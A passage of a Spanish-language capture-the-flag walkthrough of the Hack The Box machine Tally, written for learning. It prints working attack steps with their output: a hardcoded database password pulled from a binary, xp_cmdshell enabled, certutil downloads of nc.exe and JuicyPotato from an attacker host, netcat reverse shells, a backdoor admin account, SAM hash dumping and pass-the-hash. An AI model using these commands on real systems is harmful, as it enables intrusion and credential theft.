│ └───────> 0x00401256      8d8d74fbffff   lea ecx, [var_48ch]
│  │││││╎   0x0040125c      51             push ecx                    ; int32_t arg_ch
│  │││││╎   0x0040125d      6a02           push 2                      ; 2 ; int32_t arg_8h
│  │││││╎   0x0040125f      e89cfeffff     call fcn.00401100
│  │││││╎   0x00401264      83c408         add esp, 8
│ ┌───────< 0x00401267      eb1b           jmp 0x401284
│ ││││││╎   ; CODE XREF from main @ 0x401249
│ │└──────> 0x00401269      8d9574fbffff   lea edx, [var_48ch]
│ │ ││││╎   0x0040126f      52             push edx                    ; int32_t arg_ch
│ │ ││││╎   0x00401270      6a02           push 2                      ; 2 ; int32_t arg_8h
│ │ ││││╎   0x00401272      e889feffff     call fcn.00401100
│ │ ││││╎   0x00401277      83c408         add esp, 8
│ │ ││││╎   0x0040127a      83c8ff         or eax, 0xffffffff          ; -1
│ │ ││││╎   0x0040127d      66898570fbff.  mov word [var_490h], ax
│ │ ││││╎   ; CODE XREFS from main @ 0x401240, 0x401254, 0x401267
│ └────└──> 0x00401284      0fbf8d70fbff.  movsx ecx, word [var_490h]
│   │││ ╎   0x0040128b      83f9ff         cmp ecx, 0xffffffff
│   │││┌──< 0x0040128e      7505           jne 0x401295
│  ┌──────< 0x00401290      e91a010000     jmp 0x4013af
│  │││││╎   ; CODE XREF from main @ 0x40128e
│  ││││└──> 0x00401295      8d9578fbffff   lea edx, [var_488h]
│  ││││ ╎   0x0040129b      52             push edx
│  ││││ ╎   0x0040129c      8b8574fbffff   mov eax, dword [var_48ch]
│  ││││ ╎   0x004012a2      50             push eax
│  ││││ ╎   0x004012a3      6a03           push 3                      ; 3
│  ││││ ╎   0x004012a5      e82a7b0000     call sub.ODBC32.dll_SQLAllocHandle
│  ││││ ╎   0x004012aa      0fbfc8         movsx ecx, ax
│  ││││ ╎   0x004012ad      85c9           test ecx, ecx
│  ││││┌──< 0x004012af      7405           je 0x4012b6
│ ┌───────< 0x004012b1      e9f9000000     jmp 0x4013af
│ ││││││╎   ; CODE XREF from main @ 0x4012af
│ │││││└──> 0x004012b6      6afd           push 0xfffffffffffffffd
│ │││││ ╎   0x004012b8      6868424200     push str.select__from_Orchard_Users_UserPartRecord ; 0x424268 ; "select * from Orchard
_Users_UserPartRecord"
│ │││││ ╎   0x004012bd      8b9578fbffff   mov edx, dword [var_488h]
│ │││││ ╎   0x004012c3      52             push edx
│ │││││ ╎   0x004012c4      e8177b0000     call sub.ODBC32.dll_SQLExecDirect
│ │││││ ╎   0x004012c9      98             cwde
│ │││││ ╎   0x004012ca      85c0           test eax, eax
│ │││││┌──< 0x004012cc      741b           je 0x4012e9
│ ││││││╎   0x004012ce      8d8d78fbffff   lea ecx, [var_488h]
│ ││││││╎   0x004012d4      51             push ecx                    ; int32_t arg_ch
│ ││││││╎   0x004012d5      6a03           push 3                      ; 3 ; int32_t arg_8h
│ ││││││╎   0x004012d7      e824feffff     call fcn.00401100
│ ││││││╎   0x004012dc      83c408         add esp, 8
│ ────────< 0x004012df      e9cb000000     jmp 0x4013af
..
│ ││││││╎   ; CODE XREFS from main @ 0x4012cc, 0x4013a2
│ ─────└──> 0x004012e9      8b9578fbffff   mov edx, dword [var_488h]
│ │││││ ╎   0x004012ef      52             push edx
│ │││││ ╎   0x004012f0      e8f17a0000     call sub.ODBC32.dll_SQLFetch
│ │││││ ╎   0x004012f5      98             cwde
│ │││││ ╎   0x004012f6      85c0           test eax, eax
│ │││││┌──< 0x004012f8      0f85a9000000   jne 0x4013a7
│ ││││││╎   0x004012fe      6a00           push 0
│ ││││││╎   0x00401300      6a00           push 0
│ ││││││╎   0x00401302      8d8d64fbffff   lea ecx, [var_49ch]
│ ││││││╎   0x00401308      51             push ecx
│ ││││││╎   0x00401309      6aee           push 0xffffffffffffffee
│ ││││││╎   0x0040130b      6a01           push 1                      ; 1
│ ││││││╎   0x0040130d      8b9578fbffff   mov edx, dword [var_488h]
│ ││││││╎   0x00401313      52             push edx
│ ││││││╎   0x00401314      e8d97a0000     call sub.ODBC32.dll_SQLGetData
│ ││││││╎   0x00401319      6a00           push 0
│ ││││││╎   0x0040131b      6a40           push 0x40                   ; '@' ; 64
│ ││││││╎   0x0040131d      8d857cffffff   lea eax, [var_84h]
│ ││││││╎   0x00401323      50             push eax
│ ││││││╎   0x00401324      6a01           push 1                      ; 1
│ ││││││╎   0x00401326      6a02           push 2                      ; 2
│ ││││││╎   0x00401328      8b8d78fbffff   mov ecx, dword [var_488h]
│ ││││││╎   0x0040132e      51             push ecx
│ ││││││╎   0x0040132f      e8be7a0000     call sub.ODBC32.dll_SQLGetData
│ ││││││╎   0x00401334      6a00           push 0
│ ││││││╎   0x00401336      6a40           push 0x40                   ; '@' ; 64
│ ││││││╎   0x00401338      8d55bc         lea edx, [var_44h]
│ ││││││╎   0x0040133b      52             push edx
│ ││││││╎   0x0040133c      6a01           push 1                      ; 1
│ ││││││╎   0x0040133e      6a03           push 3                      ; 3
│ ││││││╎   0x00401340      8b8578fbffff   mov eax, dword [var_488h]
│ ││││││╎   0x00401346      50             push eax
│ ││││││╎   0x00401347      e8a67a0000     call sub.ODBC32.dll_SQLGetData
│ ││││││╎   0x0040134c      68501f4000     push fcn.00401f50           ; 0x401f50 ; "U\x8b\xecj\n\x8bE\b\x8b\b\x8bU\b\x03Q\x04\x8
b\xca\xe89H"
│ ││││││╎   0x00401351      8d4dbc         lea ecx, [var_44h]
│ ││││││╎   0x00401354      51             push ecx
│ ││││││╎   0x00401355      6894424200     push 0x424294               ; " "
│ ││││││╎   0x0040135a      8d957cffffff   lea edx, [var_84h]
│ ││││││╎   0x00401360      52             push edx
│ ││││││╎   0x00401361      6898424200     push 0x424298               ; " "
│ ││││││╎   0x00401366      8b8564fbffff   mov eax, dword [var_49ch]
│ ││││││╎   0x0040136c      50             push eax
│ ││││││╎   0x0040136d      b9a03f4300     mov ecx, 0x433fa0
│ ││││││╎   0x00401372      e8c91b0000     call fcn.00402f40
│ ││││││╎   0x00401377      50             push eax
│ ││││││╎   0x00401378      e803010000     call fcn.00401480
│ ││││││╎   0x0040137d      83c408         add esp, 8
│ ││││││╎   0x00401380      50             push eax
│ ││││││╎   0x00401381      e8fa000000     call fcn.00401480
│ ││││││╎   0x00401386      83c408         add esp, 8
│ ││││││╎   0x00401389      50             push eax
│ ││││││╎   0x0040138a      e8f1000000     call fcn.00401480
│ ││││││╎   0x0040138f      83c408         add esp, 8
│ ││││││╎   0x00401392      50             push eax
│ ││││││╎   0x00401393      e8e8000000     call fcn.00401480
│ ││││││╎   0x00401398      83c408         add esp, 8
│ ││││││╎   0x0040139b      8bc8           mov ecx, eax
│ ││││││╎   0x0040139d      e84e1d0000     call fcn.004030f0
│ ────────< 0x004013a2      e942ffffff     jmp 0x4012e9
│ ││││││╎   ; CODE XREFS from main @ 0x144, 0x4012f8
│ ─────└──> 0x004013a7      33c9           xor ecx, ecx
│ │││││ └─< 0x004013a9      0f8504feffff   jne 0x4011b3
│ │││││     ; XREFS: CODE 0x004011ca  CODE 0x004011e9  CODE 0x00401208  CODE 0x00401290  CODE 0x004012b1  
│ │││││     ; XREFS: CODE 0x004012df
│ └└└└└───> 0x004013af      8b9578fbffff   mov edx, dword [var_488h]
│           0x004013b5      52             push edx
│           0x004013b6      6a03           push 3                      ; 3
│           0x004013b8      e82f7a0000     call sub.ODBC32.dll_SQLFreeHandle
│           0x004013bd      8b8574fbffff   mov eax, dword [var_48ch]
│           0x004013c3      50             push eax
│           0x004013c4      e8117a0000     call sub.ODBC32.dll_SQLDisconnect
│           0x004013c9      8b8d74fbffff   mov ecx, dword [var_48ch]
│           0x004013cf      51             push ecx
│           0x004013d0      6a02           push 2                      ; 2
│           0x004013d2      e8157a0000     call sub.ODBC32.dll_SQLFreeHandle
│           0x004013d7      8b9568fbffff   mov edx, dword [var_498h]
│           0x004013dd      52             push edx
│           0x004013de      6a01           push 1                      ; 1
│           0x004013e0      e8077a0000     call sub.ODBC32.dll_SQLFreeHandle
│           0x004013e5      33c0           xor eax, eax
│           0x004013e7      8b4dfc         mov ecx, dword [var_4h]
│           0x004013ea      33cd           xor ecx, ebp
│           0x004013ec      e8a47c0000     call fcn.00409095
│           0x004013f1      8be5           mov esp, ebp
│           0x004013f3      5d             pop ebp
└           0x004013f4      c3             ret
[0x004011a0]>

Poniendo ojo de lince, vemos algo que nos debería de llamar la atención:

1
"DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;"

Para el servicio Microsoft SQL Server, tenemos el nombre de la base de datos orcharddb y la contraseña GWE3V65#6KFH93@4GWTG2G. Como siempre hay que guardar esta información para no perderla. Lo mismo lo podriamos lograr con los comandos strings tester.exe y con rabin2 -zqq tester.exe para ver las cadenas imprimibles del programa.

Vamos a tratar de conectarnos al servicio SQL con las credenciales que tenemos:

1
2
3
4
5
6
7
❯ sqsh -U 'sa' -S 10.10.10.59
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password: 
1>

Vamos a tratar de ejecutar comados dentro del servidor:

1
2
3
4
5
6
7
8
1> xp_cmdshell "whoami"
2> go
Msg 15281, Level 16, State 1
Server 'TALLY', Procedure 'xp_cmdshell', Line 1
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part
of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure.
For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
1>

Tenemos un error que nos manda debido a que el componente xp_cmdshellestá deshabilitado como parte de las configuración de seguridad del servidor, pero no nos preocupamos ya que existe una forma de habilitar el componente.

1
2
3
4
5
6
7
1> sp_configure "xp_cmdshell",1
2> go
Msg 15123, Level 16, State 1
Server 'TALLY', Procedure 'sp_configure', Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
(return status = 1)
1>

Al intentar cambiar la configuración con sp_configure nos indica que el componente xp_cmdshell no existe. En este punto es necesario habilitar las opciones avanzadas de sp_configure.

1
2
3
4
5
6
7
1> sp_configure "show advanced options", 1
2> go
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go
1>

Y ahora si vamos a tratar de habilitar xp_cmdshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1> sp_configure "xp_cmdshell", 1
2> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go
1> xp_cmdshell "whoami"
2> go

        output                                                                     
        -------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
----
        tally\sarah                                                               
        NULL                                                                       
(2 rows affected, return status = 0)
1> 

Ya tenemos ejecución de comando y vemos que estamos como el usuario sarah. Cabe mencionar que es posible que el componente se vuela a deshabilitar, asi que hay que seguir el mismo proceso anterior para habilitarlo. Ahora lo que nos queda es entablarnos una reverse shell, para este caso vamos a transferir el binario nc.exe haciendo uso de un servidor HTTP con python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1> xp_cmdshell "certutil.exe -f -urlcache -split http://10.10.14.27/nc.exe C:\Windows\Temp\nc.exe"                               
2> go                      
        output                                                            
        -------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
----                                                                                                
        ****  Online  ****                 
          0000  ...
          6e00                                                                     
        CertUtil: -URLCache command completed successfully.                       
        NULL                                                                       
(5 rows affected, return status = 0)
1>
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.59 - - [19/Nov/2021 12:50:41] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.59 - - [19/Nov/2021 12:50:41] "GET /nc.exe HTTP/1.1" 200 -

Y ahora nos entablamos la conexión:

1
2
1> xp_cmdshell "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.27 443"
2> go
1
2
3
4
5
6
7
8
9
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.59] 49936
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
tally\sarah
C:\Windows\system32>

Ya nos encontramos dentro de la máquina y podemos visualizar la flag (user.txt). Ahora solo nos queda escalar privilegios, por lo que vamos a enumerar un poco el sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Sarah\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Users\Sarah\Desktop>

Vemos que tenemos el privilegio SeImpersonatePrivilege habilitado, por lo que ya debemos estar pensando en un Juicy Potato.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Sarah\Desktop> cd C:\Windows\Temp
C:\Windows\Temp> mkdir Privesc
C:\Windows\Temp> cd Privesc
C:\Windows\Temp\Privesc> certutil.exe -f -urlcache -split http://10.10.14.27/JuicyPotato.exe JP.exe
****  Online  ****
  000000  ...
  054e00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp\Privesc> certutil.exe -f -urlcache -split http://10.10.14.27/nc.exe nc.exe
****  Online  ****
  0000  ...
  6e00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp\Privesc>
1
2
3
4
5
6
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.59 - - [19/Nov/2021 12:57:47] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.59 - - [19/Nov/2021 12:57:50] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.59 - - [19/Nov/2021 13:05:02] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.59 - - [19/Nov/2021 13:05:09] "GET /nc.exe HTTP/1.1" 200 -

Ahora nos entablamos una reverse shell a nuestra máquina:

1
2
3
4
5
6
7
8
9
10
C:\Windows\Temp\Privesc> ****JP.exe -t * -p C:\Windows\System32\cmd.exe -l 4444 -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.14.27 443"
JP.exe -t * -p C:\Windows\System32\cmd.exe -l 4444 -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.14.27 443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Privesc>
1
2
3
4
5
6
7
8
9
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.59] 50135
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>

Ya nos encontramos dentro de la máquina como el usuario nt authority\system y podemos visualizar la flag (root.txt).

Otra forma que podriamos utilizar sería crearno un usuario y agregarlo al grupo Administrators (Nota: A veces es necesario ejecutar el mismo comando varias veces para que aplique y el nombre de usuario no debe contener digitos).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\Windows\Temp\Privesc> JP.exe -t * -p C:\Windows\System32\cmd.exe -l 4444 -a "/c net user kamiyo k4miyo123 /add"

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Privesc> JP.exe -t * -p C:\Windows\System32\cmd.exe -l 4444 -a "/c net localgroup Administrators k4miyo /add"

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Privesc>

Lo podemos validar con crackmapexec:

1
2
3
❯ crackmapexec smb 10.10.10.59 -u 'kamiyo' -p 'k4miyo123!'
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    TALLY            [+] TALLY\kamiyo:k4miyo123!

Vemos que no tenemos un Pwn3d!, así que vamos a retocar un registro del sistema.

1
2
3
4
5
6
7
8
9
C:\Windows\Temp\Privesc> JP.exe -t * -p C:\Windows\System32\cmd.exe -l 4444 -a "/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Privesc>
1
2
3
❯ crackmapexec smb 10.10.10.59 -u 'kamiyo' -p 'k4miyo123!'
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    TALLY            [+] TALLY\kamiyo:k4miyo123! (Pwn3d!)

Ya tenemos un Pwn3d!, así que podriamos tratar de ver los hashes de los usuarios, en concreto del administrador:

1
2
3
4
5
6
7
8
9
❯ crackmapexec smb 10.10.10.59 -u 'kamiyo' -p 'k4miyo123!' --sam
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB         10.10.10.59     445    TALLY            [+] TALLY\kamiyo:k4miyo123! (Pwn3d!)
SMB         10.10.10.59     445    TALLY            [+] Dumping SAM hashes
SMB         10.10.10.59     445    TALLY            Administrator:500:aad3b435b51404eeaad3b435b51404ee:d904afc137554b20156f689f1b19c2b2:::
SMB         10.10.10.59     445    TALLY            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.10.59     445    TALLY            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
^CKeyboardInterrupt
2021-11-19T19:45:05Z

Y ahora podemos hacer pass the hash como el usuario Administrator y la herramienta evil-winrm:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -u "Administrator" -H "d904afc137554b20156f689f1b19c2b2" -i 10.10.10.59

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
tally\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Ya somo el usuario Administrator y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.